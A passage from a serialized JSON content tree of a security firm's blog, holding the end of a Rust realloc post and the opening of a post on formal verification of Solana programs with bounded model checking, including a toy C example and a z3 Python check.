",{"type":24,"tag":154,"props":19903,"children":19905},{"className":19904},[],[19906],{"type":29,"value":19594},{"type":29,"value":19908}," still returns an unbounded lifetime (notice in the signature ",{"type":24,"tag":154,"props":19910,"children":19912},{"className":19911},[],[19913],{"type":29,"value":19914},"unsafe fn from_raw_parts_mut\u003C'a, T>(data: *mut T, len: usize) -> &'a mut [T]",{"type":29,"value":19916},", the lifetime parameter ",{"type":24,"tag":154,"props":19918,"children":19920},{"className":19919},[],[19921],{"type":29,"value":19922},"'a",{"type":29,"value":19924}," does not appear in the arguments). However, we immediately constrain the lifetime by assigning it to ",{"type":24,"tag":154,"props":19926,"children":19928},{"className":19927},[],[19929],{"type":29,"value":19930},"*slice",{"type":29,"value":19932},", which is ",{"type":24,"tag":154,"props":19934,"children":19936},{"className":19935},[],[19937],{"type":29,"value":19938},"&'info [u8]",{"type":29,"value":19940}," (where ",{"type":24,"tag":154,"props":19942,"children":19944},{"className":19943},[],[19945],{"type":29,"value":19946},"'info",{"type":29,"value":19948}," is the lifetime parameter of the ",{"type":24,"tag":154,"props":19950,"children":19952},{"className":19951},[],[19953],{"type":29,"value":16173},{"type":29,"value":19955}," struct) - this is exactly the lifetime we started with. ",{"type":24,"tag":101,"props":19957,"children":19961},{"href":19958,"ariaLabel":19959,"className":19960,"dataFootnoteBackref":7},"#user-content-fnref-slice-unbound-lifetime","Back to reference 6",[19778],[19962],{"type":29,"value":19781},{"type":24,"tag":4517,"props":19964,"children":19965},{},[19966],{"type":29,"value":4521},{"title":7,"searchDepth":213,"depth":213,"links":19968},[19969,19975,19979,19980,19982],{"id":15602,"depth":213,"text":19970,"children":19971},"Breaking down realloc",[19972,19973],{"id":15768,"depth":238,"text":15771},{"id":17128,"depth":238,"text":19974},"Back to realloc",{"id":18081,"depth":213,"text":18084,"children":19976},[19977,19978],{"id":18087,"depth":238,"text":18090},{"id":18309,"depth":238,"text":18312},{"id":18496,"depth":213,"text":18499},{"id":18898,"depth":213,"text":19981},"Towards safer unsafe",{"id":16716,"depth":213,"text":19673},"content:blog:2022-12-09-rust-realloc-and-references.md","blog/2022-12-09-rust-realloc-and-references.md","blog/2022-12-09-rust-realloc-and-references",{"_path":19987,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":19988,"description":19989,"author":19990,"image":19991,"date":19993,"isFeatured":16,"onBlogPage":16,"tags":19994,"body":19995,"_type":4536,"_id":30258,"_source":4538,"_file":30259,"_stem":30260,"_extension":4541},"/blog/2023-01-26-formally-verifying-solana-programs","Solana Formal Verification: A Case Study","We present a novel framework for formal verification of Solana Anchor programs — and a case study application to the Squads multisig.","harrison",{"src":19992,"height":14856,"width":14857},"/posts/formally-verifying-solana-programs/formal-verification-title.jpg","2023-01-26",[4553,4554],{"type":21,"children":19996,"toc":30230},[19997,20002,20007,20033,20037,20049,20072,20095,20107,20130,20133,20140,20190,20196,20202,20207,20218,20259,20264,20270,20275,20508,20528,20533,20538,20611,20616,20686,20700,21125,21145,21151,21170,21175,21180,21185,21191,21203,21238,21249,21260,21272,21277,21309,21333,21352,21358,21375,21381,21408,21413,21433,21445,21591,21619,21622,21634,21717,21736,21739,21778,21945,21950,21956,21968,21987,22000,22161,22173,22186,22660,22665,22712,22718,22736,22805,23043,23257,23262,23336,23384,23389,23395,23497,23601,23606,23669,23674,23680,23745,23750,23792,23818,23824,23893,23898,23948,23959,23965,23976,23997,24002,24007,24030,24036,24048,24068,25184,25203,25254,25259,25267,25279,25284,25292,25297,25313,25349,25354,25448,25453,25461,25466,25578,25583,25591,25604,25768,25773,25781,25786,25791,25859,25893,25899,25904,25915,25933,26311,26323,26335,26343,26354,26385,26390,26398,26403,26676,26695,26700,26726,27594,27606,27705,27717,27759,27764,27776,27784,27789,27801,27827,27987,27999,28007,28012,28288,28293,28305,28460,28480,28806,28840,29034,29067,29079,29201,29221,29226,29231,29236,29249,29257,29262,29737,29749,29754,29766,29771,30030,30056,30061,30067,30073,30085,30097,30116,30163,30168,30174,30179,30184,30189,30194,30199,30204,30207,30226],{"type":24,"tag":25,"props":19998,"children":19999},{},[20000],{"type":29,"value":20001},"Since the early days of computing, bugs have crept their way into programs and wreaked havoc on the intentions of the programmer. Logical fallacies, race conditions, or simple typos could manifest as crashes or lay undetected, silently breaking the functionality of the host program.",{"type":24,"tag":25,"props":20003,"children":20004},{},[20005],{"type":29,"value":20006},"When your program is connected to the internet, there is the new risk that bugs may introduce security holes into your system. Even simple buffer overflows can be exploited by skilled attackers to compromise the integrity of your program.",{"type":24,"tag":25,"props":20008,"children":20009},{},[20010,20012,20016,20018,20023,20025,20032],{"type":29,"value":20011},"In the world of Web3 we create programs that talk to strangers ",{"type":24,"tag":32,"props":20013,"children":20014},{},[20015],{"type":29,"value":17608},{"type":29,"value":20017}," control millions of dollars 🤑. Bugs in these programs are some of the ",{"type":24,"tag":32,"props":20019,"children":20020},{},[20021],{"type":29,"value":20022},"juciest",{"type":29,"value":20024},"; anonymous attackers that can find and exploit them will walk away with potentially ",{"type":24,"tag":101,"props":20026,"children":20029},{"href":20027,"rel":20028},"https://rekt.news/leaderboard/",[105],[20030],{"type":29,"value":20031},"hundreds of millions of dollars",{"type":29,"value":347},{"type":24,"tag":20034,"props":20035,"children":20036},"hr",{},[],{"type":24,"tag":25,"props":20038,"children":20039},{},[20040,20042,20047],{"type":29,"value":20041},"At OtterSec we are ",{"type":24,"tag":32,"props":20043,"children":20044},{},[20045],{"type":29,"value":20046},"highly skilled in pest control",{"type":29,"value":20048}," - finding and squashing bugs before they are exploited by less well-intentioned hackers. We are constantly striving to improve our techniques and develop new technologies that aid in our auditing processes.",{"type":24,"tag":25,"props":20050,"children":20051},{},[20052,20054,20061,20063,20070],{"type":29,"value":20053},"Recently we were contacted by the ",{"type":24,"tag":101,"props":20055,"children":20058},{"href":20056,"rel":20057},"https://squads.so/",[105],[20059],{"type":29,"value":20060},"Squads team",{"type":29,"value":20062}," to explore how formal verification could be used to verify security-critical properties of Solana programs. We were really excited about this opportunity and have been developing a prototype with the ",{"type":24,"tag":101,"props":20064,"children":20067},{"href":20065,"rel":20066},"https://github.com/Squads-Protocol/squads-mpl",[105],[20068],{"type":29,"value":20069},"Squads Multisig Program",{"type":29,"value":20071}," as our main case study.",{"type":24,"tag":25,"props":20073,"children":20074},{},[20075,20077,20084,20086,20093],{"type":29,"value":20076},"We now have a (mostly) working prototype that can be used to formally verify critical properties of Solana programs in order to ensure a higher level of security. Our tool integrates with ",{"type":24,"tag":101,"props":20078,"children":20081},{"href":20079,"rel":20080},"https://www.anchor-lang.com/",[105],[20082],{"type":29,"value":20083},"anchor-lang",{"type":29,"value":20085}," and provides new APIs to specify invariants for your Solana code. It then autogenerates proof harnesses which are verified with the ",{"type":24,"tag":101,"props":20087,"children":20090},{"href":20088,"rel":20089},"https://github.com/model-checking/kani",[105],[20091],{"type":29,"value":20092},"Kani Rust Verifier",{"type":29,"value":20094},". Additionally, we are implementing a formal-verification-friendly runtime SDK layer that accelerates the expensive process of running formal verification tools on complex code.",{"type":24,"tag":25,"props":20096,"children":20097},{},[20098,20100,20105],{"type":29,"value":20099},"In this blog post, we're excited to share our progress and the challenges we've encountered during the process. We will describe the main concepts behind ",{"type":24,"tag":32,"props":20101,"children":20102},{},[20103],{"type":29,"value":20104},"bounded model checking",{"type":29,"value":20106}," (our formal verification method of choice) and explain how we've applied these concepts to Solana.",{"type":24,"tag":25,"props":20108,"children":20109},{},[20110],{"type":24,"tag":32,"props":20111,"children":20112},{},[20113,20115,20122,20124],{"type":29,"value":20114},"If you're interested in learning more or getting your own programs formally verified, let us know! We'd be excited to chat with you! — Fill out ",{"type":24,"tag":101,"props":20116,"children":20119},{"href":20117,"rel":20118},"https://osec.io/contact",[105],[20120],{"type":29,"value":20121},"this form",{"type":29,"value":20123}," or email us at ",{"type":24,"tag":101,"props":20125,"children":20127},{"href":20126},"mailto:contact@osec.io",[20128],{"type":29,"value":20129},"contact@osec.io",{"type":24,"tag":20034,"props":20131,"children":20132},{},[],{"type":24,"tag":20134,"props":20135,"children":20137},"h4",{"id":20136},"contents",[20138],{"type":29,"value":20139},"Contents:",{"type":24,"tag":1786,"props":20141,"children":20142},{},[20143,20148,20165,20175,20180,20185],{"type":24,"tag":1790,"props":20144,"children":20145},{},[20146],{"type":29,"value":20147},"Formal Verification with Bounded Model Checking\na. Overview\nb. A simple example\nc. Loop bounds & path explosion\nd. The Kani Rust Verifier",{"type":24,"tag":1790,"props":20149,"children":20150},{},[20151,20156,20158,20163],{"type":24,"tag":897,"props":20152,"children":20153},{},[20154],{"type":29,"value":20155},"Specification",{"type":29,"value":20157},": How can we describe what we ",{"type":24,"tag":32,"props":20159,"children":20160},{},[20161],{"type":29,"value":20162},"want",{"type":29,"value":20164}," our program to do?",{"type":24,"tag":1790,"props":20166,"children":20167},{},[20168,20173],{"type":24,"tag":897,"props":20169,"children":20170},{},[20171],{"type":29,"value":20172},"Verification",{"type":29,"value":20174},": How do we check that our model is correct?",{"type":24,"tag":1790,"props":20176,"children":20177},{},[20178],{"type":29,"value":20179},"Case Study: Squads Multisig",{"type":24,"tag":1790,"props":20181,"children":20182},{},[20183],{"type":29,"value":20184},"Additional challenges in Solana",{"type":24,"tag":1790,"props":20186,"children":20187},{},[20188],{"type":29,"value":20189},"Conclusion",{"type":24,"tag":59,"props":20191,"children":20193},{"id":20192},"formal-verification-with-bounded-model-checking",[20194],{"type":29,"value":20195},"Formal Verification with Bounded Model Checking",{"type":24,"tag":395,"props":20197,"children":20199},{"id":20198},"overview",[20200],{"type":29,"value":20201},"Overview",{"type":24,"tag":25,"props":20203,"children":20204},{},[20205],{"type":29,"value":20206},"Formal verification is the process of using a formal specification to verify the correctness of a system. In this case, the systems we are verifying are programs written in Rust that run on the Solana blockchain.",{"type":24,"tag":25,"props":20208,"children":20209},{},[20210,20212,20217],{"type":29,"value":20211},"There are many different flavors of formal verification, however in this research we are using ",{"type":24,"tag":897,"props":20213,"children":20214},{},[20215],{"type":29,"value":20216},"bounded model checking (BMC)",{"type":29,"value":347},{"type":24,"tag":25,"props":20219,"children":20220},{},[20221,20223,20228,20230,20235,20237,20241,20243,20249,20251,20257],{"type":29,"value":20222},"In short, the idea of BMC is to execute our program ",{"type":24,"tag":32,"props":20224,"children":20225},{},[20226],{"type":29,"value":20227},"symbolically",{"type":29,"value":20229}," rather than ",{"type":24,"tag":32,"props":20231,"children":20232},{},[20233],{"type":29,"value":20234},"concretely",{"type":29,"value":20236},". Instead of actually performing an ",{"type":24,"tag":32,"props":20238,"children":20239},{},[20240],{"type":29,"value":426},{"type":29,"value":20242}," when we see the line ",{"type":24,"tag":154,"props":20244,"children":20246},{"className":20245},[],[20247],{"type":29,"value":20248},"int x = a + b",{"type":29,"value":20250},", we store the symbolic expression ",{"type":24,"tag":154,"props":20252,"children":20254},{"className":20253},[],[20255],{"type":29,"value":20256},"x == a + b",{"type":29,"value":20258},". We do this for every line and once we reach the end of the program we have compiled a huge list of symbolic expressions. At this point, we can feed these expressions to a SMT solver along with a correctness property P in order to check if our program satisfies this property.",{"type":24,"tag":25,"props":20260,"children":20261},{},[20262],{"type":29,"value":20263},"If we hit a branch as we are tracing the program, we will take both sides of the branch adding the positive branch condition as a constraint to one side and the negative condition to the other side.",{"type":24,"tag":395,"props":20265,"children":20267},{"id":20266},"a-simple-example",[20268],{"type":29,"value":20269},"A simple example",{"type":24,"tag":25,"props":20271,"children":20272},{},[20273],{"type":29,"value":20274},"As an example, consider the following function:",{"type":24,"tag":147,"props":20276,"children":20278},{"code":20277,"language":2907,"meta":7,"className":17751,"style":7},"int foo(int x) {\n int y = x + 3;\n int z;\n if (y > 100) {\n z = y * 2;\n } else {\n z = y + 1;\n }\n\n // Property P:\n assert(z != 105);\n}\n",[20279],{"type":24,"tag":154,"props":20280,"children":20281},{"__ignoreMap":7},[20282,20312,20346,20358,20383,20411,20426,20453,20460,20467,20475,20501],{"type":24,"tag":158,"props":20283,"children":20284},{"class":160,"line":161},[20285,20290,20295,20299,20303,20308],{"type":24,"tag":158,"props":20286,"children":20287},{"style":165},[20288],{"type":29,"value":20289},"int",{"type":24,"tag":158,"props":20291,"children":20292},{"style":496},[20293],{"type":29,"value":20294}," foo",{"type":24,"tag":158,"props":20296,"children":20297},{"style":188},[20298],{"type":29,"value":504},{"type":24,"tag":158,"props":20300,"children":20301},{"style":165},[20302],{"type":29,"value":20289},{"type":24,"tag":158,"props":20304,"children":20305},{"style":177},[20306],{"type":29,"value":20307}," x",{"type":24,"tag":158,"props":20309,"children":20310},{"style":188},[20311],{"type":29,"value":16038},{"type":24,"tag":158,"props":20313,"children":20314},{"class":160,"line":213},[20315,20320,20324,20328,20333,20337,20342],{"type":24,"tag":158,"props":20316,"children":20317},{"style":165},[20318],{"type":29,"value":20319}," int",{"type":24,"tag":158,"props":20321,"children":20322},{"style":188},[20323],{"type":29,"value":6173},{"type":24,"tag":158,"props":20325,"children":20326},{"style":222},[20327],{"type":29,"value":1285},{"type":24,"tag":158,"props":20329,"children":20330},{"style":188},[20331],{"type":29,"value":20332}," x ",{"type":24,"tag":158,"props":20334,"children":20335},{"style":222},[20336],{"type":29,"value":728},{"type":24,"tag":158,"props":20338,"children":20339},{"style":465},[20340],{"type":29,"value":20341}," 3",{"type":24,"tag":158,"props":20343,"children":20344},{"style":188},[20345],{"type":29,"value":473},{"type":24,"tag":158,"props":20347,"children":20348},{"class":160,"line":238},[20349,20353],{"type":24,"tag":158,"props":20350,"children":20351},{"style":165},[20352],{"type":29,"value":20319},{"type":24,"tag":158,"props":20354,"children":20355},{"style":188},[20356],{"type":29,"value":20357}," z;\n",{"type":24,"tag":158,"props":20359,"children":20360},{"class":160,"line":259},[20361,20365,20370,20374,20379],{"type":24,"tag":158,"props":20362,"children":20363},{"style":1914},[20364],{"type":29,"value":3160},{"type":24,"tag":158,"props":20366,"children":20367},{"style":188},[20368],{"type":29,"value":20369}," (y ",{"type":24,"tag":158,"props":20371,"children":20372},{"style":222},[20373],{"type":29,"value":1280},{"type":24,"tag":158,"props":20375,"children":20376},{"style":465},[20377],{"type":29,"value":20378}," 100",{"type":24,"tag":158,"props":20380,"children":20381},{"style":188},[20382],{"type":29,"value":16038},{"type":24,"tag":158,"props":20384,"children":20385},{"class":160,"line":280},[20386,20391,20395,20399,20403,20407],{"type":24,"tag":158,"props":20387,"children":20388},{"style":188},[20389],{"type":29,"value":20390}," z ",{"type":24,"tag":158,"props":20392,"children":20393},{"style":222},[20394],{"type":29,"value":1285},{"type":24,"tag":158,"props":20396,"children":20397},{"style":188},[20398],{"type":29,"value":6173},{"type":24,"tag":158,"props":20400,"children":20401},{"style":222},[20402],{"type":29,"value":577},{"type":24,"tag":158,"props":20404,"children":20405},{"style":465},[20406],{"type":29,"value":9573},{"type":24,"tag":158,"props":20408,"children":20409},{"style":188},[20410],{"type":29,"value":473},{"type":24,"tag":158,"props":20412,"children":20413},{"class":160,"line":301},[20414,20418,20422],{"type":24,"tag":158,"props":20415,"children":20416},{"style":188},[20417],{"type":29,"value":17015},{"type":24,"tag":158,"props":20419,"children":20420},{"style":1914},[20421],{"type":29,"value":4978},{"type":24,"tag":158,"props":20423,"children":20424},{"style":188},[20425],{"type":29,"value":210},{"type":24,"tag":158,"props":20427,"children":20428},{"class":160,"line":626},[20429,20433,20437,20441,20445,20449],{"type":24,"tag":158,"props":20430,"children":20431},{"style":188},[20432],{"type":29,"value":20390},{"type":24,"tag":158,"props":20434,"children":20435},{"style":222},[20436],{"type":29,"value":1285},{"type":24,"tag":158,"props":20438,"children":20439},{"style":188},[20440],{"type":29,"value":6173},{"type":24,"tag":158,"props":20442,"children":20443},{"style":222},[20444],{"type":29,"value":728},{"type":24,"tag":158,"props":20446,"children":20447},{"style":465},[20448],{"type":29,"value":1668},{"type":24,"tag":158,"props":20450,"children":20451},{"style":188},[20452],{"type":29,"value":473},{"type":24,"tag":158,"props":20454,"children":20455},{"class":160,"line":668},[20456],{"type":24,"tag":158,"props":20457,"children":20458},{"style":188},[20459],{"type":29,"value":3967},{"type":24,"tag":158,"props":20461,"children":20462},{"class":160,"line":676},[20463],{"type":24,"tag":158,"props":20464,"children":20465},{"emptyLinePlaceholder":16},[20466],{"type":29,"value":481},{"type":24,"tag":158,"props":20468,"children":20469},{"class":160,"line":684},[20470],{"type":24,"tag":158,"props":20471,"children":20472},{"style":2588},[20473],{"type":29,"value":20474}," // Property P:\n",{"type":24,"tag":158,"props":20476,"children":20477},{"class":160,"line":700},[20478,20483,20488,20492,20497],{"type":24,"tag":158,"props":20479,"children":20480},{"style":496},[20481],{"type":29,"value":20482}," assert",{"type":24,"tag":158,"props":20484,"children":20485},{"style":188},[20486],{"type":29,"value":20487},"(z ",{"type":24,"tag":158,"props":20489,"children":20490},{"style":222},[20491],{"type":29,"value":16924},{"type":24,"tag":158,"props":20493,"children":20494},{"style":465},[20495],{"type":29,"value":20496}," 105",{"type":24,"tag":158,"props":20498,"children":20499},{"style":188},[20500],{"type":29,"value":1071},{"type":24,"tag":158,"props":20502,"children":20503},{"class":160,"line":785},[20504],{"type":24,"tag":158,"props":20505,"children":20506},{"style":188},[20507],{"type":29,"value":307},{"type":24,"tag":25,"props":20509,"children":20510},{},[20511,20513,20519,20521,20527],{"type":29,"value":20512},"This function takes an input ",{"type":24,"tag":154,"props":20514,"children":20516},{"className":20515},[],[20517],{"type":29,"value":20518},"x",{"type":29,"value":20520}," and does some computation. At the end of the program, the property we want to verify is that ",{"type":24,"tag":154,"props":20522,"children":20524},{"className":20523},[],[20525],{"type":29,"value":20526},"z != 105",{"type":29,"value":347},{"type":24,"tag":25,"props":20529,"children":20530},{},[20531],{"type":29,"value":20532},"With BMC, we could trace this program and derive the following constraints:",{"type":24,"tag":25,"props":20534,"children":20535},{},[20536],{"type":29,"value":20537},"Positive branch:",{"type":24,"tag":147,"props":20539,"children":20541},{"code":20540,"language":2907,"meta":7,"className":17751,"style":7},"y == x + 3\ny > 100\nz == y * 2\n",[20542],{"type":24,"tag":154,"props":20543,"children":20544},{"__ignoreMap":7},[20545,20570,20586],{"type":24,"tag":158,"props":20546,"children":20547},{"class":160,"line":161},[20548,20553,20557,20561,20565],{"type":24,"tag":158,"props":20549,"children":20550},{"style":188},[20551],{"type":29,"value":20552},"y ",{"type":24,"tag":158,"props":20554,"children":20555},{"style":222},[20556],{"type":29,"value":1034},{"type":24,"tag":158,"props":20558,"children":20559},{"style":188},[20560],{"type":29,"value":20332},{"type":24,"tag":158,"props":20562,"children":20563},{"style":222},[20564],{"type":29,"value":728},{"type":24,"tag":158,"props":20566,"children":20567},{"style":465},[20568],{"type":29,"value":20569}," 3\n",{"type":24,"tag":158,"props":20571,"children":20572},{"class":160,"line":213},[20573,20577,20581],{"type":24,"tag":158,"props":20574,"children":20575},{"style":188},[20576],{"type":29,"value":20552},{"type":24,"tag":158,"props":20578,"children":20579},{"style":222},[20580],{"type":29,"value":1280},{"type":24,"tag":158,"props":20582,"children":20583},{"style":465},[20584],{"type":29,"value":20585}," 100\n",{"type":24,"tag":158,"props":20587,"children":20588},{"class":160,"line":238},[20589,20594,20598,20602,20606],{"type":24,"tag":158,"props":20590,"children":20591},{"style":188},[20592],{"type":29,"value":20593},"z ",{"type":24,"tag":158,"props":20595,"children":20596},{"style":222},[20597],{"type":29,"value":1034},{"type":24,"tag":158,"props":20599,"children":20600},{"style":188},[20601],{"type":29,"value":6173},{"type":24,"tag":158,"props":20603,"children":20604},{"style":222},[20605],{"type":29,"value":577},{"type":24,"tag":158,"props":20607,"children":20608},{"style":465},[20609],{"type":29,"value":20610}," 2\n",{"type":24,"tag":25,"props":20612,"children":20613},{},[20614],{"type":29,"value":20615},"Negative branch:",{"type":24,"tag":147,"props":20617,"children":20619},{"code":20618,"language":2907,"meta":7,"className":17751,"style":7},"y == x + 3\ny \u003C= 100\nz == y + 1\n",[20620],{"type":24,"tag":154,"props":20621,"children":20622},{"__ignoreMap":7},[20623,20646,20662],{"type":24,"tag":158,"props":20624,"children":20625},{"class":160,"line":161},[20626,20630,20634,20638,20642],{"type":24,"tag":158,"props":20627,"children":20628},{"style":188},[20629],{"type":29,"value":20552},{"type":24,"tag":158,"props":20631,"children":20632},{"style":222},[20633],{"type":29,"value":1034},{"type":24,"tag":158,"props":20635,"children":20636},{"style":188},[20637],{"type":29,"value":20332},{"type":24,"tag":158,"props":20639,"children":20640},{"style":222},[20641],{"type":29,"value":728},{"type":24,"tag":158,"props":20643,"children":20644},{"style":465},[20645],{"type":29,"value":20569},{"type":24,"tag":158,"props":20647,"children":20648},{"class":160,"line":213},[20649,20653,20658],{"type":24,"tag":158,"props":20650,"children":20651},{"style":188},[20652],{"type":29,"value":20552},{"type":24,"tag":158,"props":20654,"children":20655},{"style":222},[20656],{"type":29,"value":20657},"\u003C=",{"type":24,"tag":158,"props":20659,"children":20660},{"style":465},[20661],{"type":29,"value":20585},{"type":24,"tag":158,"props":20663,"children":20664},{"class":160,"line":238},[20665,20669,20673,20677,20681],{"type":24,"tag":158,"props":20666,"children":20667},{"style":188},[20668],{"type":29,"value":20593},{"type":24,"tag":158,"props":20670,"children":20671},{"style":222},[20672],{"type":29,"value":1034},{"type":24,"tag":158,"props":20674,"children":20675},{"style":188},[20676],{"type":29,"value":6173},{"type":24,"tag":158,"props":20678,"children":20679},{"style":222},[20680],{"type":29,"value":728},{"type":24,"tag":158,"props":20682,"children":20683},{"style":465},[20684],{"type":29,"value":20685}," 1\n",{"type":24,"tag":25,"props":20687,"children":20688},{},[20689,20691,20698],{"type":29,"value":20690},"Using the ",{"type":24,"tag":101,"props":20692,"children":20695},{"href":20693,"rel":20694},"https://github.com/Z3Prover/z3",[105],[20696],{"type":29,"value":20697},"z3",{"type":29,"value":20699}," SMT solver, we could check both of these cases like so:",{"type":24,"tag":147,"props":20701,"children":20705},{"code":20702,"language":20703,"meta":7,"className":20704,"style":7},"from z3 import *\n\nx = Int('x')\ny = Int('y')\nz = Int('z')\n\n# Positive branch:\ns = Solver()\ns.add(y == x + 3)\ns.add(y > 100)\ns.add(z == y * 2)\n\n# check if we can violate the correctness property\ns.add(Not(z != 105))\nprint(s.check()) # \"unsat\"\n\n# Negative branch:\ns = Solver()\ns.add(y == x + 3)\ns.add(y \u003C= 100)\ns.add(z == y + 1)\n\n# check if we can violate the correctness property\ns.add(Not(z != 105))\nprint(s.check()) # \"unsat\"\n","python","language-python shiki shiki-themes slack-dark",[20706],{"type":24,"tag":154,"props":20707,"children":20708},{"__ignoreMap":7},[20709,20732,20739,20765,20789,20813,20820,20828,20845,20873,20892,20920,20927,20935,20956,20974,20981,20989,21004,21031,21050,21077,21084,21091,21110],{"type":24,"tag":158,"props":20710,"children":20711},{"class":160,"line":161},[20712,20717,20722,20727],{"type":24,"tag":158,"props":20713,"children":20714},{"style":1914},[20715],{"type":29,"value":20716},"from",{"type":24,"tag":158,"props":20718,"children":20719},{"style":188},[20720],{"type":29,"value":20721}," z3 ",{"type":24,"tag":158,"props":20723,"children":20724},{"style":1914},[20725],{"type":29,"value":20726},"import",{"type":24,"tag":158,"props":20728,"children":20729},{"style":222},[20730],{"type":29,"value":20731}," *\n",{"type":24,"tag":158,"props":20733,"children":20734},{"class":160,"line":213},[20735],{"type":24,"tag":158,"props":20736,"children":20737},{"emptyLinePlaceholder":16},[20738],{"type":29,"value":481},{"type":24,"tag":158,"props":20740,"children":20741},{"class":160,"line":238},[20742,20747,20751,20756,20761],{"type":24,"tag":158,"props":20743,"children":20744},{"style":188},[20745],{"type":29,"value":20746},"x ",{"type":24,"tag":158,"props":20748,"children":20749},{"style":222},[20750],{"type":29,"value":1285},{"type":24,"tag":158,"props":20752,"children":20753},{"style":188},[20754],{"type":29,"value":20755}," Int(",{"type":24,"tag":158,"props":20757,"children":20758},{"style":1108},[20759],{"type":29,"value":20760},"'x'",{"type":24,"tag":158,"props":20762,"children":20763},{"style":188},[20764],{"type":29,"value":2125},{"type":24,"tag":158,"props":20766,"children":20767},{"class":160,"line":259},[20768,20772,20776,20780,20785],{"type":24,"tag":158,"props":20769,"children":20770},{"style":188},[20771],{"type":29,"value":20552},{"type":24,"tag":158,"props":20773,"children":20774},{"style":222},[20775],{"type":29,"value":1285},{"type":24,"tag":158,"props":20777,"children":20778},{"style":188},[20779],{"type":29,"value":20755},{"type":24,"tag":158,"props":20781,"children":20782},{"style":1108},[20783],{"type":29,"value":20784},"'y'",{"type":24,"tag":158,"props":20786,"children":20787},{"style":188},[20788],{"type":29,"value":2125},{"type":24,"tag":158,"props":20790,"children":20791},{"class":160,"line":280},[20792,20796,20800,20804,20809],{"type":24,"tag":158,"props":20793,"children":20794},{"style":188},[20795],{"type":29,"value":20593},{"type":24,"tag":158,"props":20797,"children":20798},{"style":222},[20799],{"type":29,"value":1285},{"type":24,"tag":158,"props":20801,"children":20802},{"style":188},[20803],{"type":29,"value":20755},{"type":24,"tag":158,"props":20805,"children":20806},{"style":1108},[20807],{"type":29,"value":20808},"'z'",{"type":24,"tag":158,"props":20810,"children":20811},{"style":188},[20812],{"type":29,"value":2125},{"type":24,"tag":158,"props":20814,"children":20815},{"class":160,"line":301},[20816],{"type":24,"tag":158,"props":20817,"children":20818},{"emptyLinePlaceholder":16},[20819],{"type":29,"value":481},{"type":24,"tag":158,"props":20821,"children":20822},{"class":160,"line":626},[20823],{"type":24,"tag":158,"props":20824,"children":20825},{"style":2588},[20826],{"type":29,"value":20827},"# Positive branch:\n",{"type":24,"tag":158,"props":20829,"children":20830},{"class":160,"line":668},[20831,20836,20840],{"type":24,"tag":158,"props":20832,"children":20833},{"style":188},[20834],{"type":29,"value":20835},"s ",{"type":24,"tag":158,"props":20837,"children":20838},{"style":222},[20839],{"type":29,"value":1285},{"type":24,"tag":158,"props":20841,"children":20842},{"style":188},[20843],{"type":29,"value":20844}," Solver()\n",{"type":24,"tag":158,"props":20846,"children":20847},{"class":160,"line":676},[20848,20853,20857,20861,20865,20869],{"type":24,"tag":158,"props":20849,"children":20850},{"style":188},[20851],{"type":29,"value":20852},"s.add(y ",{"type":24,"tag":158,"props":20854,"children":20855},{"style":222},[20856],{"type":29,"value":1034},{"type":24,"tag":158,"props":20858,"children":20859},{"style":188},[20860],{"type":29,"value":20332},{"type":24,"tag":158,"props":20862,"children":20863},{"style":222},[20864],{"type":29,"value":728},{"type":24,"tag":158,"props":20866,"children":20867},{"style":465},[20868],{"type":29,"value":20341},{"type":24,"tag":158,"props":20870,"children":20871},{"style":188},[20872],{"type":29,"value":2125},{"type":24,"tag":158,"props":20874,"children":20875},{"class":160,"line":684},[20876,20880,20884,20888],{"type":24,"tag":158,"props":20877,"children":20878},{"style":188},[20879],{"type":29,"value":20852},{"type":24,"tag":158,"props":20881,"children":20882},{"style":222},[20883],{"type":29,"value":1280},{"type":24,"tag":158,"props":20885,"children":20886},{"style":465},[20887],{"type":29,"value":20378},{"type":24,"tag":158,"props":20889,"children":20890},{"style":188},[20891],{"type":29,"value":2125},{"type":24,"tag":158,"props":20893,"children":20894},{"class":160,"line":700},[20895,20900,20904,20908,20912,20916],{"type":24,"tag":158,"props":20896,"children":20897},{"style":188},[20898],{"type":29,"value":20899},"s.add(z ",{"type":24,"tag":158,"props":20901,"children":20902},{"style":222},[20903],{"type":29,"value":1034},{"type":24,"tag":158,"props":20905,"children":20906},{"style":188},[20907],{"type":29,"value":6173},{"type":24,"tag":158,"props":20909,"children":20910},{"style":222},[20911],{"type":29,"value":577},{"type":24,"tag":158,"props":20913,"children":20914},{"style":465},[20915],{"type":29,"value":9573},{"type":24,"tag":158,"props":20917,"children":20918},{"style":188},[20919],{"type":29,"value":2125},{"type":24,"tag":158,"props":20921,"children":20922},{"class":160,"line":785},[20923],{"type":24,"tag":158,"props":20924,"children":20925},{"emptyLinePlaceholder":16},[20926],{"type":29,"value":481},{"type":24,"tag":158,"props":20928,"children":20929},{"class":160,"line":1447},[20930],{"type":24,"tag":158,"props":20931,"children":20932},{"style":2588},[20933],{"type":29,"value":20934},"# check if we can violate the correctness property\n",{"type":24,"tag":158,"props":20936,"children":20937},{"class":160,"line":1509},[20938,20943,20947,20951],{"type":24,"tag":158,"props":20939,"children":20940},{"style":188},[20941],{"type":29,"value":20942},"s.add(Not(z ",{"type":24,"tag":158,"props":20944,"children":20945},{"style":222},[20946],{"type":29,"value":16924},{"type":24,"tag":158,"props":20948,"children":20949},{"style":465},[20950],{"type":29,"value":20496},{"type":24,"tag":158,"props":20952,"children":20953},{"style":188},[20954],{"type":29,"value":20955},"))\n",{"type":24,"tag":158,"props":20957,"children":20958},{"class":160,"line":1527},[20959,20964,20969],{"type":24,"tag":158,"props":20960,"children":20961},{"style":496},[20962],{"type":29,"value":20963},"print",{"type":24,"tag":158,"props":20965,"children":20966},{"style":188},[20967],{"type":29,"value":20968},"(s.check()) ",{"type":24,"tag":158,"props":20970,"children":20971},{"style":2588},[20972],{"type":29,"value":20973},"# \"unsat\"\n",{"type":24,"tag":158,"props":20975,"children":20976},{"class":160,"line":1545},[20977],{"type":24,"tag":158,"props":20978,"children":20979},{"emptyLinePlaceholder":16},[20980],{"type":29,"value":481},{"type":24,"tag":158,"props":20982,"children":20983},{"class":160,"line":1618},[20984],{"type":24,"tag":158,"props":20985,"children":20986},{"style":2588},[20987],{"type":29,"value":20988},"# Negative 